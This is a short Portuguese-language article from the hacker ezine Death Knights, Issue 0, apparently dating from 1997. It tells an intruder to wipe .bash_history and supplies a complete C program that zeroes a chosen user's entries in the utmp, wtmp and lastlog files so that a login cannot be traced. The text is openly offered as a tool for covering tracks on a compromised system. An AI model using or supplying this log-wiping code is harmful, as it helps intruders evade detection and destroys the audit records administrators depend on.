Apagando LOGS!!

Death Knights Issue 0

eZine lover (@eZine)

Published in 

Death Knights

 · 2 years ago

by SaTaNfAcE

Esta parte eh muito util para apagar os rastros deixados no sistema por qualquer usuario. A primeira coisa q deve-se fazer eh voce apagar o conteudo do arquivo /home/user/.bash_history. Esse arquivo loga todos os comando executados pelo usuario durante sua permanencia no sistema!! Vc tb fica loado no WTMP, UTMP e LASTLOG que pode ser visualizado pelo root pelo comando last user.

Aih vai um prg em C com finalidade de apagar esses logs!!

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx------- 

############################# 
##   Copyright (c) 1997    ## 
##    The Death Knights    ## 
############################# 

#include <sys/types.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <sys/file.h> 
#include <fcntl.h> 
#include <utmp.h> 
#include <pwd.h> 
#include <lastlog.h> 
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 

int f; 

void kill_utmp(who) 
char *who; 
{ 
    struct utmp utmp_ent; 

  if ((f=open(UTMP_NAME,O_RDWR))>=0) { 
     while(read (f, &amp;utmp_ent, sizeof (utmp_ent))> 0 ) 
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
                 bzero((char *)&amp;utmp_ent,sizeof( utmp_ent )); 
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
                 write (f, &amp;utmp_ent, sizeof (utmp_ent)); 
            } 
     close(f); 
  } 
} 

void kill_wtmp(who) 
char *who; 
{ 
    struct utmp utmp_ent; 
    long pos; 

    pos = 1L; 
    if ((f=open(WTMP_NAME,O_RDWR))>=0) { 

     while(pos != -1L) { 
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
        if (read (f, &amp;utmp_ent, sizeof (struct utmp))<0) { 
          pos = -1L; 
        } else { 
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
               bzero((char *)&amp;utmp_ent,sizeof(struct utmp )); 
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
               write (f, &amp;utmp_ent, sizeof (utmp_ent)); 
               pos = -1L; 
          } else pos += 1L; 
        } 
     } 
     close(f); 
  } 
} 

void kill_lastlog(who) 
char *who; 
{ 
    struct passwd *pwd; 
    struct lastlog newll; 

     if ((pwd=getpwnam(who))!=NULL) { 

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { 
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 
0); 
            bzero((char *)&amp;newll,sizeof( newll )); 
            write(f, (char *)&amp;newll, sizeof( newll )); 
            close(f); 
        } 

    } else printf("%s: ?\n",who); 
} 

main(argc,argv) 
int argc; 
char *argv[]; 
{ 
    if (argc==2) { 
        kill_lastlog(argv[1]); 
        kill_wtmp(argv[1]); 
        kill_utmp(argv[1]); 
        printf("Zap2!\n"); 
    } else 
    printf("Error.\n"); 
} 

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------